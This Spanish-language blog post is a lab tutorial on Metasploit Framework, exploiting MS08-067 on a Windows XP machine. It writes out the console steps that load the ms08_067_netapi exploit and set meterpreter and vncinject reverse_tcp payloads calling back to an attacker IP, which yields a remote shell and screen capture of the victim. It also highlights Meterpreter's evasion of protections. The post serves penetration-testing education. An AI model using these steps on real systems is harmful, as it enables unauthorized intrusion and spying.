lunes, 4 de octubre de 2021

Uso de Metasploit Framework

Posted by q3it on lunes, octubre 04, 2021 in

Metasploit: Es un proyecto Open Source dedicado principalmente a la creación de software y recursos para la realización de instrucciones.

Su software más destacado es Metasploit Framework una herramienta para desarrollar, ejecutar y automatizar el lanzamiento de exploits contra una máquina remota, también permite al auditor añadir sus propios scripts, modificar los ya existentes, manejar sesiones, etc. El Framework Metasploit trae multitud de herramientas como:
  • msfpayload
  • msfencode
  • msfvenon
  • msfpescan
  • msfelfscan
  • msfrop
  • msfd
Metasploit Framework viene instalado por defecto en Kali Linux solo es arrancarlo por consola con la instrucción service metasploit start y luego teclear msfconsole.

Una vez ejecutado msfconsole saldrá el siguiente pantallazo.
En el apartado de análisis se tomó una máquina con Windows XP para buscar vulnerabilidades en su sistema mediante Nessus y efectivamente existían varias de nivel crítico, pero se tomará para el desarrollo de este ejemplo la vulnerabilidad MS08-067 Microsoft Windows Server Service Crafted RPC.

Ejecución de exploits
Exploit: Es un programa informático, parte de un software o una secuencia de comandos que se aprovecha de un error o vulnerabilidad para provocar un comportamiento no intencionado o imprevisto en un software, hardware o en cualquier dispositivo electrónico.

Estos comportamientos incluyen, por lo general, la toma del control de un sistema, la concesión de privilegios de administrador al intruso o el lanzamiento de un ataque de denegación de servicio (DoS).

Todos los exploits de metasploit se dividen en dos categorías: Activos y pasivos.

Exploits activos:
Los exploits activos son aquellos que explotan un host específico, se ejecutan hasta completarse y entonces salen.
  • Los módulos de fuerza bruta pueden salir cuando una shell es abierta por la víctima.
  • Si un error ocurre, la ejecución del módulo se detiene.
  • Se puede forzar un módulo activo a pasar a "background" o segundo plano pasando el argumento -j al comando del exploit.
Exploits pasivos:
Los exploits pasivos funcionan de esta manera: Esperan hasta que un host interactúe con el exploit y entonces lo explota.
  • Los exploit pasivos se concentran normalmente en navegadores, clientes FTP y similares.
  • Pueden ser usados en conjunto con exploits enviados por e-mail.
  • Los exploits pasivos, una vez ejecutados, reportan que se ha abierto una shell y esperan ser enumerados pasando el argumento -l al comando sessions, pasando el argumento -i interactuamos con una shell que se encuentre en el listado.
Teniendo claro que es un exploit ahora necesitamos explotar la vulnerabilidad encontrada en la máquina Windows XP y para ello ¡ya sabiendo! que se puede explotar por Metasploit Framework se pasa a ejecutar.

Lo primero sería buscar el exploit en el programa Metasploit con el comando search ms08_067.
Con esto se tendría el módulo que se necesita para ejecutarlo, luego se carga el exploit en el programa con el comando use de la siguiente manera:
use exploit/windows/smb/ms08_067_netapi

Ahora le tecleamos show info para saber los parámetros que son obligatorios para su funcionamiento.

Como se ve en la anerior figura, es requerido el RHOSTS que no es nada más que la IP del equipo Windows XP, que para este caso es la 10.1.1.26 y se hace de la siguiente manera:
set RHOSTS 10.1.1.26



Uso de Payloads
Payload: Un exploit es una vulnerabilidad, y el payload es la carga que se ejecuta en esa vulnerabilidad, es decir, la carga que activamos a la hora de aprovechar dicha vulnerabilidad.

Un mismo payload puede ser utilizado por distintos exploits y un mismo exploit puede utilizar varios payloads. Metasploit tiene sobre 1800 exploits, y más de 1000 payloads. Existen diferentes payloads para cada vulnerabilidad.

Para este punto se utilizarán dos de los payloads más conocidos que contiene Metasploit:

Meterpreter: Es un intérprete de comandos o Shell por defecto de Metasploit Framework, aparte de que tiene muchas opciones y subcomandos propios su mayor ventaja es que permite de una forma segura y suave interactuar con la máquina objetivo y así obtener una gran cantidad de información sobre un objetivo comprometido.

Es multifacética y se ejecuta en memoria a bajo nivel, es decir, que aporta una indetectabilidad bastante considerable, ya que los sistemas de protección se encuentran varias capas por encima.

Vncinject: Este payload nos sirve para espiar nuestra víctima como si fuese un espejo o capturar la sesión remota.

Metasploit tiene diferentes módulos que nos pueden ayudar en la comunicación entre los dos sistemas para ello se utilizará reverse_tcp el cual permitirá reservar una zona en memoria y realizar una conexión.

Recapitulando, se tendría hasta este punto montado el exploit ms08_067_netapi, ahora será necesario cargarle el payload, que para éste se utilizará meterpreter.

Ahora la forma de cargar el payload en el programa es la siguiente:
set payload windows/meterpreter/reverse_tcp

Una vez cargada la instrucción anterior se procede a teclear show options para saber que parámetros pide y poderlos ingresar.
Nos pide ingresar el LHOST, que es la IP de la máquina atacante Klinux 10.1.1.23 y la instrucción que tecleamos en consola es la siguiente:
set LHOST 10.1.1.23

Con esta instrucción todo quedaría configurado y solo quedaría lanzar el exploit, como se ve en la suguiente figura.
Si nos fijamos, se tendría la línea meterpreter lo que significa que estamos dentro del sistema Windows XP.

Se hace un sysinfo para saber información del sistema comprometido.
Ahora se probará con el payload Vncinject, que su función es capturar una sesión remota y mostrará todo lo que haga el PC comprometido, para demostrar su uso se continuará con el exploit netapi utilizando la misma configuración que ya teníamos en las target’s RHOST y LHOST.

Se ejecuta la siguiente línea en el programa:
set payload Windows/vncinject/reverse_tcp

Luego se lanza el exploit.
La siguiente figura enseña la captura de sesión desde Kali Linux a Windows XP.